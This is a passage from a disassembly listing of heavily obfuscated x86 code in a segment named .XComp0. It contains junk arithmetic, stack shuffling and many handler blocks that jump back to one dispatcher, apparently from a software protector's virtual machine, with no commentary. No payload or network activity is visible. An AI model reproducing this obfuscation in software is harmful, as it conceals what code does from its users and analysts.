loc_57EE32: ; CODE XREF: .XComp0:00582D25j xor ebp, 7924FB2h add ecx, ebp jmp loc_57E815 ; --------------------------------------------------------------------------- loc_57EE3F: ; CODE XREF: .XComp0:00575070j push ebp mov ebp, esp add ebp, 4 jmp loc_57F392 ; --------------------------------------------------------------------------- loc_57EE4D: ; CODE XREF: .XComp0:00575E0Aj push ecx mov cl, 62h sub esp, 4 mov [esp], eax mov ah, 37h sub cl, ah pop eax add bh, cl jmp loc_5768FD ; --------------------------------------------------------------------------- loc_57EE62: ; CODE XREF: .XComp0:00575B85j mov [esp], ecx jmp loc_57A384 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] mov esp, [esp] jmp loc_581899 ; --------------------------------------------------------------------------- loc_57EE8D: ; CODE XREF: .XComp0:0057CEC2j mov esp, [esp] push ebx push 0 pop ebx push esi push edx mov edx, 782C1E1Ah mov esi, edx pop edx add ebx, esi jmp loc_57CF52 ; --------------------------------------------------------------------------- loc_57EEA8: ; CODE XREF: .XComp0:00582CC0j xor ebx, edi jmp loc_578309 ; --------------------------------------------------------------------------- loc_57EEAF: ; CODE XREF: .XComp0:00575D50j mov [esp], edx push ecx mov cl, 0Dh push ecx mov cl, 0Ch push ebx mov bh, 0CDh mov dh, bh pop ebx sub dh, cl pop ecx jmp loc_57D9A0 ; --------------------------------------------------------------------------- loc_57EEC6: ; CODE XREF: .XComp0:0057C147j mov ch, dh pop edx inc ch jmp loc_57C0E7 ; --------------------------------------------------------------------------- loc_57EED0: ; CODE XREF: .XComp0:00582471j add esi, edi mov edi, [esp] jmp loc_5781D5 ; --------------------------------------------------------------------------- loc_57EEDA: ; CODE XREF: .XComp0:005787CBj mov [esp], eax mov eax, 4 add ebp, eax mov eax, [esp] jmp loc_57F80C ; --------------------------------------------------------------------------- loc_57EEEC: ; CODE XREF: .XComp0:005806B5j mov esp, [esp] mov [esp], ebx jmp loc_575E52 ; --------------------------------------------------------------------------- loc_57EEF7: ; CODE XREF: .XComp0:00576B9Cj mov [esp], esi mov esi, 49BB63A5h jmp loc_57EB34 ; --------------------------------------------------------------------------- loc_57EF04: ; CODE XREF: .XComp0:0057AAD0j add ebx, 1AFD1A7Ch neg ebx push esi mov esi, 3A262D7Ah xor ebx, esi jmp loc_582078 ; --------------------------------------------------------------------------- loc_57EF19: ; CODE XREF: .XComp0:00574458j add esi, 2 jmp loc_57F831 ; --------------------------------------------------------------------------- loc_57EF24: ; CODE XREF: .XComp0:0057F42Ej sub esi, ebp pop ebp add esi, 791009F0h neg esi jmp loc_583310 ; --------------------------------------------------------------------------- loc_57EF34: ; CODE XREF: .XComp0:0057AA1Cj push esp jmp loc_5817CD ; --------------------------------------------------------------------------- loc_57EF3A: ; CODE XREF: .XComp0:0057D55Bj push eax push edx mov edx, 12F54A67h mov eax, 815A81F6h sub eax, 2EB9223Ch sub eax, edx add eax, 2EB9223Ch pop edx and eax, 10933616h neg eax jmp loc_5789FA ; --------------------------------------------------------------------------- loc_57EF5F: ; CODE XREF: .XComp0:0058112Fj mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 43536B84h jmp loc_57CF11 ; --------------------------------------------------------------------------- loc_57EF75: ; CODE XREF: .XComp0:0057D5E4j add ebx, 0B2960E7h push dword ptr [esp] jmp loc_57E8AB ; --------------------------------------------------------------------------- loc_57EF83: ; CODE XREF: .XComp0:005778DDj add dword ptr [esp], 4E4A6ED2h push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_57EDF3 ; --------------------------------------------------------------------------- loc_57EF9B: ; CODE XREF: .XComp0:0057CC65j add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_57EFA6: ; CODE XREF: .XComp0:00573F33j xor esi, 0C8F61FFh push eax mov eax, 5DDC4DCDh sub esi, eax pop eax push esi jmp loc_57393B ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] jmp loc_57C8E9 ; --------------------------------------------------------------------------- loc_57EFC7: ; CODE XREF: .XComp0:00580D08j push ebp mov ebp, edi mov eax, ebp pop ebp pop edi add ebp, 0D294ADDh jmp loc_576F88 ; --------------------------------------------------------------------------- loc_57EFD9: ; CODE XREF: .XComp0:0057F17Aj push edx jmp loc_57C565 ; --------------------------------------------------------------------------- loc_57EFDF: ; CODE XREF: .XComp0:00576B26j not edx and edx, 51694A6Fh add edx, 49780D80h jmp loc_57ACFE ; --------------------------------------------------------------------------- loc_57EFF2: ; CODE XREF: .XComp0:0058203Aj sub dword ptr [esp+4], 28F534D8h add dword ptr [esp+4], 4B8F51C7h sub dword ptr [esp+4], 1AE72DF5h mov ecx, [esp] jmp loc_57F0A0 ; --------------------------------------------------------------------------- loc_57F012: ; CODE XREF: .XComp0:00581809j not edx jmp loc_575CA9 ; --------------------------------------------------------------------------- loc_57F019: ; CODE XREF: .XComp0:005834C1j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F01E: ; CODE XREF: .XComp0:0057DE64j mov [esp], eax jmp loc_580858 ; --------------------------------------------------------------------------- loc_57F026: ; CODE XREF: .XComp0:0057E1B9j add eax, 2B060CE3h jmp loc_577A64 ; --------------------------------------------------------------------------- loc_57F030: ; CODE XREF: .XComp0:0057E8CFj mov [esp], eax jmp loc_577A71 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push esi mov esi, esp push eax push esi mov esi, 5A726D48h mov eax, 0EE30B3B3h jmp loc_574565 ; --------------------------------------------------------------------------- loc_57F050: ; CODE XREF: .XComp0:005741DEj jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F055: ; CODE XREF: .XComp0:00577129j add esp, 4 jmp loc_57FD1E ; --------------------------------------------------------------------------- loc_57F060: ; CODE XREF: .XComp0:00582F14j mov [esp], bx push small 1617h jmp loc_575115 ; --------------------------------------------------------------------------- loc_57F06D: ; CODE XREF: .XComp0:00578319j mov edx, [esp] add esp, 4 sub al, bl sub esp, 4 mov [esp], ebx jmp loc_57577B ; --------------------------------------------------------------------------- loc_57F083: ; CODE XREF: .XComp0:005791C0j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F088: ; CODE XREF: .XComp0:005761F0j mov [esp], eax push esp pop eax push ebx push edi jmp loc_581292 ; --------------------------------------------------------------------------- loc_57F094: ; CODE XREF: .XComp0:00578D45j add dword ptr [esp], 4 jmp loc_57F4AE ; --------------------------------------------------------------------------- loc_57F0A0: ; CODE XREF: .XComp0:0057F00Dj add esp, 4 mov edx, [esp] jmp loc_57F353 ; --------------------------------------------------------------------------- loc_57F0AB: ; CODE XREF: .XComp0:00576BF6j xor ebx, 649B2DB4h dec ebx shr ebx, 6 inc ebx jmp loc_5786C5 ; --------------------------------------------------------------------------- loc_57F0BB: ; CODE XREF: .XComp0:0057E397j mov edi, [esp] jmp loc_581AE7 ; --------------------------------------------------------------------------- loc_57F0C3: ; CODE XREF: .XComp0:005767B8j pop ebx add eax, ecx add eax, 25A5260Ch push edi mov edi, 0DCA5F02h add eax, edi pop edi push dword ptr [esp] pop ecx jmp loc_57DAED ; --------------------------------------------------------------------------- loc_57F0DD: ; CODE XREF: .XComp0:0057CFB7j dec al push ecx jmp loc_57FCF5 ; --------------------------------------------------------------------------- loc_57F0E5: ; CODE XREF: .XComp0:0057A6CDj mov esi, 0AB87205h or esi, 308141D4h shr esi, 3 or esi, 51794108h xor esi, 51F606ACh jmp loc_57E651 ; --------------------------------------------------------------------------- loc_57F104: ; CODE XREF: .XComp0:0057F6F2j pop esi add ecx, 2B63C4B4h and eax, ecx pop ecx jmp loc_581C45 ; --------------------------------------------------------------------------- loc_57F113: ; CODE XREF: .XComp0:00573F75j xchg esi, [esp] pop esp push 37F2h jmp loc_579D7A ; --------------------------------------------------------------------------- loc_57F121: ; CODE XREF: .XComp0:005764C2j pop esi push 165Fh mov [esp], ebp sub esp, 4 mov [esp], ecx mov ecx, 1A4101E7h xor ecx, 70AC7A41h mov ebp, ecx pop ecx jmp loc_5746E7 ; --------------------------------------------------------------------------- loc_57F143: ; CODE XREF: .XComp0:0057CB0Bj mov [esp], esi push ecx mov ecx, 57979EFh jmp loc_57FF52 ; --------------------------------------------------------------------------- loc_57F151: ; CODE XREF: .XComp0:005757F5j mov [esp], bx jmp loc_575A5A ; --------------------------------------------------------------------------- loc_57F15A: ; CODE XREF: .XComp0:00575D13j mov [esp], ebx jmp loc_57415D ; --------------------------------------------------------------------------- loc_57F162: ; CODE XREF: .XComp0:0057FE92j push 5D11h mov [esp], edi mov edi, 7BA5229Ah jmp loc_575B10 ; --------------------------------------------------------------------------- loc_57F174: ; CODE XREF: .XComp0:00576D1Ej mov edx, 38E551B6h push edi jmp loc_57EFD9 ; --------------------------------------------------------------------------- loc_57F17F: ; CODE XREF: .XComp0:00577CCEj mov edi, 3C2C6C36h shl edi, 5 jmp loc_57DFD4 ; --------------------------------------------------------------------------- loc_57F18C: ; CODE XREF: .XComp0:00583621j mov [esp], edx mov edx, 2C1623CBh add eax, 58F8227Eh add eax, 1E6F0A3Bh sub eax, edx sub eax, 1E6F0A3Bh push ebp mov ebp, 231268CDh or ebp, 72D57658h add ebp, 0E520A3A1h sub eax, ebp pop ebp pop edx add eax, 0B26F65Dh jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F1C5: ; CODE XREF: .XComp0:00575251j xor ecx, 34868CEh jmp loc_57E61D ; --------------------------------------------------------------------------- loc_57F1D0: ; CODE XREF: .XComp0:00578807j mov ebx, [esp] add esp, 4 push esi mov esi, 3EF328F1h sub ebx, 694306D5h add ebx, esi add ebx, 694306D5h jmp loc_5744B0 ; --------------------------------------------------------------------------- loc_57F1F2: ; CODE XREF: .XComp0:005808DCj pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_583129 ; --------------------------------------------------------------------------- loc_57F1FE: ; CODE XREF: .XComp0:0058033Cj push esp pop ecx jmp loc_57A3BF ; --------------------------------------------------------------------------- loc_57F205: ; CODE XREF: .XComp0:0057AD36j mov esp, [esp] push dword ptr [esp] pop edx push 4FAFh mov [esp], ebp push esp jmp loc_574773 ; --------------------------------------------------------------------------- loc_57F21A: ; CODE XREF: .XComp0:00579C63j not ebx push edx mov edx, 70BF5688h jmp loc_58327C ; --------------------------------------------------------------------------- loc_57F227: ; CODE XREF: .XComp0:00581019j add esp, 4 mov edx, [esp] push ebp mov ebp, esp jmp loc_580F64 ; --------------------------------------------------------------------------- loc_57F238: ; CODE XREF: .XComp0:0057A674j and ebp, eax jmp loc_580FB6 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push 6F71h mov [esp], edi mov edi, 2 sub ebx, 77BA0BC5h add ebx, edi add ebx, 77BA0BC5h push dword ptr [esp] push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 jmp loc_580D53 ; --------------------------------------------------------------------------- loc_57F28D: ; CODE XREF: .XComp0:00580B69j push edx mov dl, al push ebx mov bh, dl mov cl, bh jmp loc_57B1CB ; --------------------------------------------------------------------------- loc_57F29A: ; CODE XREF: .XComp0:00574AB2j xor ebp, [esp] pop esp mov [esp], ebx push 38E97A57h push dword ptr [esp] mov ebx, [esp] push edi jmp loc_57DC58 ; --------------------------------------------------------------------------- loc_57F2B2: ; CODE XREF: .XComp0:00580759j mov ebp, esp add ebp, 4 push ebx jmp loc_57F7F3 ; --------------------------------------------------------------------------- loc_57F2C0: ; CODE XREF: .XComp0:0057EE26j mov esp, [esp] bt [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F2CE: ; CODE XREF: .XComp0:0057617Cj not ebx dec ebx push ebp mov ebp, 5B52337h sub ebp, 3B224C87h add ebp, 5BF925D4h neg ebp jmp loc_575B24 ; --------------------------------------------------------------------------- loc_57F2EA: ; CODE XREF: .XComp0:00578535j mov bh, ch pop ecx jmp loc_57883A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_573841 ; --------------------------------------------------------------------------- loc_57F2FB: ; CODE XREF: .XComp0:005770A9j mov ecx, esp jmp loc_5739A4 ; --------------------------------------------------------------------------- loc_57F302: ; CODE XREF: .XComp0:00576863j mov edx, 3955AF7h neg edx inc edx add edx, 64D66875h sub eax, edx pop edx sub eax, 76291B97h pop edx add ecx, 543B4E72h add ecx, eax sub ecx, 543B4E72h mov eax, [esp] add esp, 4 xchg ecx, [esp] pop esp sar byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F33D: ; CODE XREF: .XComp0:00581826j mov edi, esi pop esi jmp loc_57D621 ; --------------------------------------------------------------------------- loc_57F345: ; CODE XREF: .XComp0:0057FCDCj mov esp, [esp] bts [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F353: ; CODE XREF: .XComp0:0057F0A6j add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F35B: ; CODE XREF: .XComp0:005789EBj mov ebx, [esp] push esi mov esi, esp push ebx jmp loc_57D419 ; --------------------------------------------------------------------------- loc_57F367: ; CODE XREF: .XComp0:005786E9j pop ebx shl ebp, 1 jmp loc_57C764 ; --------------------------------------------------------------------------- loc_57F36F: ; CODE XREF: .XComp0:0057ED73j push ecx push 28145FFBh pop ecx add ecx, 0E160059h mov ebp, ecx pop ecx sub ebp, 362A6050h jmp loc_57FA2C ; --------------------------------------------------------------------------- loc_57F38A: ; CODE XREF: .XComp0:005822E6j mov esp, [esp] jmp loc_579FE1 ; --------------------------------------------------------------------------- loc_57F392: ; CODE XREF: .XComp0:0057EE48j add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_5793D0 ; --------------------------------------------------------------------------- loc_57F3A3: ; CODE XREF: .XComp0:00580FB1j pop esi jmp loc_582412 ; --------------------------------------------------------------------------- loc_57F3A9: ; CODE XREF: .XComp0:0057881Dj xor ebx, 0CD6AD3B5h mov esi, ebx pop ebx push ebx jmp loc_575971 ; --------------------------------------------------------------------------- loc_57F3B8: ; CODE XREF: .XComp0:00582327j pop bx add al, 0F6h add dl, al pop eax or dl, 8Dh dec dl jmp loc_57BCA8 ; --------------------------------------------------------------------------- loc_57F3C9: ; CODE XREF: .XComp0:00577A2Dj sub edx, ecx jmp loc_5819B9 ; --------------------------------------------------------------------------- loc_57F3D0: ; CODE XREF: .XComp0:00578C87j pop esp push edx mov edx, esp add edx, 4 jmp loc_58361A ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx jmp loc_57B636 ; --------------------------------------------------------------------------- loc_57F3EB: ; CODE XREF: .XComp0:00574847j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_57698B ; --------------------------------------------------------------------------- loc_57F40B: ; CODE XREF: .XComp0:0057E482j add ebp, eax pop eax mov ebx, ebp pop ebp add ebx, 0FFFFFFFFh not ebx not ebx jmp loc_5788B6 ; --------------------------------------------------------------------------- loc_57F41D: ; CODE XREF: .XComp0:0057BED0j mov eax, 0CFD09897h push esi mov esi, 5EE23AD9h push ebp mov ebp, 2A03668Dh jmp loc_57EF24 ; --------------------------------------------------------------------------- loc_57F433: ; CODE XREF: .XComp0:00582C3Ej jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F438: ; CODE XREF: .XComp0:005772E0j push esi mov esi, edx mov eax, esi pop esi pop edx add esi, eax mov eax, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F45B: ; CODE XREF: .XComp0:00582CF9j xor eax, ebx pop ebx sub edi, 76A056F1h add edi, eax jmp loc_57B4D0 ; --------------------------------------------------------------------------- mov ax, [esp] push 73ADh jmp loc_581F0E ; --------------------------------------------------------------------------- loc_57F479: ; CODE XREF: .XComp0:0057D52Aj add ebp, 384034D3h add esi, ebp pop ebp push eax push edx push 17EE0994h pop edx and edx, 65FA2721h jmp loc_57E66B ; --------------------------------------------------------------------------- loc_57F495: ; CODE XREF: .XComp0:0058342Bj push 0FFFFFFFFh pop edi sub ebp, 3F3D0473h add ebp, edi add ebp, 3F3D0473h jmp loc_5801F6 ; --------------------------------------------------------------------------- loc_57F4AE: ; CODE XREF: .XComp0:0057F09Bj pop eax add eax, 4 push 7AF5h mov [esp], ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] jmp loc_5784FF ; --------------------------------------------------------------------------- loc_57F4CC: ; CODE XREF: .XComp0:00576C03j mov dx, [esp] add esp, 2 add bl, 69h add bl, al jmp loc_580FED ; --------------------------------------------------------------------------- loc_57F4E0: ; CODE XREF: .XComp0:0057AB65j pop esp push dword ptr [esp] pop ecx push 254Bh mov [esp], ebp jmp loc_57DEB6 ; --------------------------------------------------------------------------- loc_57F4F2: ; CODE XREF: .XComp0:00574158j pop esp mov [esp], ecx jmp loc_5815A0 ; --------------------------------------------------------------------------- loc_57F4FB: ; CODE XREF: .XComp0:0057E8DDj not esi push ebp jmp loc_578643 ; --------------------------------------------------------------------------- loc_57F503: ; CODE XREF: .XComp0:0057ECACj push 47EAh mov [esp], esi jmp loc_574507 ; --------------------------------------------------------------------------- loc_57F510: ; CODE XREF: .XComp0:0057A51Aj mov edi, 4 add esi, edi mov edi, [esp] push ebp jmp loc_5743B4 ; --------------------------------------------------------------------------- loc_57F520: ; CODE XREF: .XComp0:0057F8DCj pop ecx sub ebx, 4 jmp loc_576D84 ; --------------------------------------------------------------------------- loc_57F529: ; CODE XREF: .XComp0:0057E780j pop eax add edi, ecx jmp loc_57F5A2 ; --------------------------------------------------------------------------- loc_57F531: ; CODE XREF: .XComp0:005830B1j add ebx, ebp push eax mov eax, 2CAC5358h xor eax, 5FC0661h add eax, 50E94B50h jmp loc_58303F ; --------------------------------------------------------------------------- loc_57F548: ; CODE XREF: .XComp0:005795CEj add edi, 4 add edi, 4 xchg edi, [esp] pop esp push eax mov eax, esp add eax, 4 push 4FD7h jmp loc_57A679 ; --------------------------------------------------------------------------- loc_57F56A: ; CODE XREF: .XComp0:0057B4E8j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F56F: ; CODE XREF: .XComp0:0057A872j and ebx, 405A0EBCh shr ebx, 2 xor ebx, 9764345Ah sub ebx, edi jmp loc_574A68 ; --------------------------------------------------------------------------- loc_57F585: ; CODE XREF: .XComp0:0057EDBFj add eax, 4 xchg eax, [esp] mov esp, [esp] push eax sub esp, 4 mov [esp], ebx jmp loc_5764C7 ; --------------------------------------------------------------------------- loc_57F59C: ; CODE XREF: .XComp0:0057BE09j pop ebx jmp loc_583513 ; --------------------------------------------------------------------------- loc_57F5A2: ; CODE XREF: .XComp0:0057F52Cj pop ecx add edi, 4 xchg edi, [esp] pop esp jmp loc_57D072 ; --------------------------------------------------------------------------- loc_57F5AF: ; CODE XREF: .XComp0:00575224j sub ebx, 8504C905h jmp loc_5755DB ; --------------------------------------------------------------------------- loc_57F5BA: ; CODE XREF: .XComp0:0057DD93j pop edi push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_57CCF9 ; --------------------------------------------------------------------------- loc_57F5D2: ; CODE XREF: .XComp0:0057709Dj add ecx, ebx jmp loc_579DBA ; --------------------------------------------------------------------------- loc_57F5D9: ; CODE XREF: .XComp0:00578631j neg eax inc eax inc eax add eax, 0A67241AEh sub edi, eax jmp loc_57D2C9 ; --------------------------------------------------------------------------- loc_57F5E9: ; CODE XREF: .XComp0:00582768j pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push eax mov eax, esp push esi push ebp mov ebp, 6F6960E7h sub ebp, 665C3E2Fh neg ebp sub ebp, 7E9878D5h sub ebp, 785A646Fh mov esi, ebp pop ebp add eax, esi pop esi push 2021h mov [esp], esi mov esi, 0A22707Dh inc esi push edx jmp loc_57DF95 ; --------------------------------------------------------------------------- loc_57F62B: ; CODE XREF: .XComp0:00580F29j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx sub esp, 4 push esp jmp loc_57C415 ; --------------------------------------------------------------------------- loc_57F648: ; CODE XREF: .XComp0:0057D56Aj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_574A85 ; --------------------------------------------------------------------------- loc_57F65C: ; CODE XREF: .XComp0:0057F7A0j mov ecx, 25FB3CBEh add ecx, 0F3671CABh mov esi, ecx jmp loc_57A6B4 ; --------------------------------------------------------------------------- loc_57F66E: ; CODE XREF: .XComp0:00582B50j add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] jmp loc_575054 ; --------------------------------------------------------------------------- loc_57F680: ; CODE XREF: .XComp0:00573F0Dj add ebx, ecx jmp loc_57F8E1 ; --------------------------------------------------------------------------- loc_57F687: ; CODE XREF: .XComp0:00576362j mov [esp], edx jmp loc_57B540 ; --------------------------------------------------------------------------- loc_57F68F: ; CODE XREF: .XComp0:0057E051j mov bh, al pop eax mov [edi+eax*4], bh mov ebx, [esp] add esp, 4 pop ecx jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F6A4: ; CODE XREF: .XComp0:0058135Ej pop dword ptr [eax] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F6AB: ; CODE XREF: .XComp0:0057BD67j pop esi not eax push 2EFFh mov [esp], ebx jmp loc_573A7C ; --------------------------------------------------------------------------- loc_57F6BB: ; CODE XREF: .XComp0:005811F4j mov bl, 3Bh add bl, 0C5h sub bl, 32h jmp loc_574D99 ; --------------------------------------------------------------------------- loc_57F6C8: ; CODE XREF: .XComp0:00578202j mov ebx, 5DE63E63h inc ebx shr ebx, 1 sub ebx, 2EF31F2Eh add esi, ebx pop ebx xchg esi, [esp] pop esp push edx push dword ptr [esp+4] jmp loc_57B20B ; --------------------------------------------------------------------------- loc_57F6E7: ; CODE XREF: .XComp0:0057FDF7j xor ecx, 0A108B836h mov esi, ecx pop ecx add ecx, esi jmp loc_57F104 ; --------------------------------------------------------------------------- loc_57F6F7: ; CODE XREF: .XComp0:005817E7j add eax, 4 xchg eax, [esp] pop esp jmp loc_57B819 ; --------------------------------------------------------------------------- loc_57F705: ; CODE XREF: .XComp0:0057CB4Aj push esi mov esi, 4 sub ebp, 7641748Bh jmp loc_583190 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F725: ; CODE XREF: .XComp0:0057B86Aj mov esp, [esp] sub ax, 4A49h sub esp, 2 mov [esp], di push small 0C784h pop di jmp loc_5787D0 ; --------------------------------------------------------------------------- loc_57F741: ; CODE XREF: .XComp0:00575D1Cj shr ebx, 2 sub ebx, 56CBEC88h sub ebp, 568277E6h sub ebp, ebx add ebp, 568277E6h mov ebx, [esp] jmp loc_57C6AA ; --------------------------------------------------------------------------- mov ax, [esp] push 2EFFh jmp loc_577CB7 ; --------------------------------------------------------------------------- loc_57F76E: ; CODE XREF: .XComp0:00583133j mov [esp], edi push esi push 2D5A65D8h pop esi or esi, 11E65CE3h jmp loc_57C002 ; --------------------------------------------------------------------------- loc_57F783: ; CODE XREF: .XComp0:00578542j push ebp jmp loc_582476 ; --------------------------------------------------------------------------- loc_57F789: ; CODE XREF: .XComp0:0057BBCDj neg ecx xor ecx, 0C016B046h add esi, ecx jmp loc_577B1D ; --------------------------------------------------------------------------- loc_57F798: ; CODE XREF: .XComp0:0057A009j sub ebx, 46CD4E54h push esi push ecx jmp loc_57F65C ; --------------------------------------------------------------------------- loc_57F7A5: ; CODE XREF: .XComp0:0057E384j add esp, 4 jmp loc_57792A ; --------------------------------------------------------------------------- loc_57F7B0: ; CODE XREF: .XComp0:005786C0j push bx mov bh, 9Fh jmp loc_57F84E ; --------------------------------------------------------------------------- loc_57F7B9: ; CODE XREF: .XComp0:00583318j pop esi add ebp, eax sub ebp, 6F6D4E55h mov eax, [esp] add esp, 4 push 841h mov [esp], ebp jmp loc_57D7BC ; --------------------------------------------------------------------------- loc_57F7D5: ; CODE XREF: .XComp0:0058245Ej push ebp mov ebp, esp jmp loc_578A5B ; --------------------------------------------------------------------------- loc_57F7DD: ; CODE XREF: .XComp0:0057DB9Cj popf retn ; --------------------------------------------------------------------------- jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F7E4: ; CODE XREF: .XComp0:0057E096j pop esp jmp loc_57EB8C ; --------------------------------------------------------------------------- loc_57F7EA: ; CODE XREF: .XComp0:0057DCD3j pop edi add edx, ebx pop ebx jmp loc_5736B4 ; --------------------------------------------------------------------------- loc_57F7F3: ; CODE XREF: .XComp0:0057F2BBj mov ebx, 2E0052F6h xor ebx, 73574D51h or ebx, 50A95CFFh shl ebx, 8 jmp loc_5748D8 ; --------------------------------------------------------------------------- loc_57F80C: ; CODE XREF: .XComp0:0057EEE7j add esp, 4 push edx mov edx, 4 sub esp, 4 mov [esp], edi mov edi, 7AD831D6h jmp loc_579355 ; --------------------------------------------------------------------------- loc_57F82B: ; CODE XREF: .XComp0:0057EA35j pop ecx jmp loc_5808EA ; --------------------------------------------------------------------------- loc_57F831: ; CODE XREF: .XComp0:0057EF1Fj push esi push dword ptr [esp+4] jmp loc_576A16 ; --------------------------------------------------------------------------- loc_57F83B: ; CODE XREF: .XComp0:005756B9j mov [edi+28h], dl pop edx jmp loc_57C99F ; --------------------------------------------------------------------------- loc_57F844: ; CODE XREF: .XComp0:0057B358j push 7361h jmp loc_5736CD ; --------------------------------------------------------------------------- loc_57F84E: ; CODE XREF: .XComp0:0057F7B4j add ch, bh pop bx jmp loc_581A53 ; --------------------------------------------------------------------------- loc_57F857: ; CODE XREF: .XComp0:0057555Dj push dword ptr [edi+eax*4] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57F85F: ; CODE XREF: .XComp0:00577668j add ecx, edi push dword ptr [ecx] jmp loc_580A5A ; --------------------------------------------------------------------------- loc_57F868: ; CODE XREF: .XComp0:00579163j pop esi jmp loc_579BF2 ; --------------------------------------------------------------------------- loc_57F86E: ; CODE XREF: .XComp0:00573606j push ecx mov ecx, 4 add edi, ecx mov ecx, [esp] add esp, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add esp, 4 or [edi+1Ch], edx jmp loc_57E0B8 ; --------------------------------------------------------------------------- loc_57F894: ; CODE XREF: .XComp0:005805E0j push dword ptr [esp] jmp loc_57505F ; --------------------------------------------------------------------------- loc_57F89C: ; CODE XREF: .XComp0:00573C8Aj mov edi, 16C20BD5h push esi mov esi, 6C4F1BC7h add edi, esi pop esi jmp loc_5744F0 ; --------------------------------------------------------------------------- loc_57F8AF: ; CODE XREF: .XComp0:0057ADCCj pop ebx xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push 6EFC1F29h jmp loc_57E587 ; --------------------------------------------------------------------------- loc_57F8C3: ; CODE XREF: .XComp0:0057B1C6j mov [esp], ebx mov ebx, esp push ecx mov ecx, 4 sub ebx, 0F54491Dh add ebx, ecx add ebx, 0F54491Dh jmp loc_57F520 ; --------------------------------------------------------------------------- loc_57F8E1: ; CODE XREF: .XComp0:0057F682j add ebx, 5C582DC5h jmp loc_57CDE0 ; --------------------------------------------------------------------------- loc_57F8EC: ; CODE XREF: .XComp0:0057AE38j push 1C73h mov [esp], esp jmp loc_574E1E ; --------------------------------------------------------------------------- loc_57F8F9: ; CODE XREF: .XComp0:00580865j pop edx add eax, edi add eax, 3AF30B33h xor [eax], ebx push dword ptr [esp] pop eax jmp loc_5807AA ; --------------------------------------------------------------------------- loc_57F90C: ; CODE XREF: .XComp0:00577265j shr bh, 6 add bh, 2Ah xor dh, bh jmp loc_57DA4D ; --------------------------------------------------------------------------- loc_57F919: ; CODE XREF: .XComp0:0057CC11j xchg edi, ebx jmp loc_5781A2 ; --------------------------------------------------------------------------- loc_57F920: ; CODE XREF: .XComp0:00576504j mov esi, edi pop edi sub ebx, esi push dword ptr [esp] pop esi add esp, 4 push esi mov esi, 7B0B7BF1h shl esi, 5 shr esi, 4 jmp loc_58126C ; --------------------------------------------------------------------------- loc_57F940: ; CODE XREF: .XComp0:0057FCF7j dec ch neg ch inc ch shr ch, 2 xor ch, 0BFh xor al, ch pop ecx jmp loc_57A6DA ; --------------------------------------------------------------------------- loc_57F954: ; CODE XREF: .XComp0:0057779Dj sub ecx, 0F0D530C3h mov edi, ecx pop ecx jmp loc_58240C ; --------------------------------------------------------------------------- loc_57F962: ; CODE XREF: .XComp0:005748ABj mov [esp], ebx push edx push ebx mov ebx, 21C177A0h shl ebx, 1 and ebx, 77762CBDh add ebx, 0D0A24C4h mov edx, ebx jmp loc_5787F2 ; --------------------------------------------------------------------------- loc_57F981: ; CODE XREF: .XComp0:00581815j mov edi, 480E510Ch sub edi, 0CD3F0833h add ebx, edi pop edi mov ebp, ebx jmp loc_57C900 ; --------------------------------------------------------------------------- loc_57F996: ; CODE XREF: .XComp0:005763CCj pop ecx pop dword ptr [esp] jmp loc_57817E ; --------------------------------------------------------------------------- loc_57F99F: ; CODE XREF: .XComp0:00580715j pop ecx push esi jmp loc_57687F ; --------------------------------------------------------------------------- loc_57F9A6: ; CODE XREF: .XComp0:00582DEDj xor dh, 65h xor al, dh pop edx push bx mov bh, 0FDh add al, bh mov bx, [esp] add esp, 2 jmp loc_57AAFF ; --------------------------------------------------------------------------- loc_57F9C1: ; CODE XREF: .XComp0:0057C841j push ecx mov ecx, 0CEB5D207h sub ebp, ecx pop ecx mov edi, ebp jmp loc_57A067 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_579F71 ; --------------------------------------------------------------------------- loc_57F9DC: ; 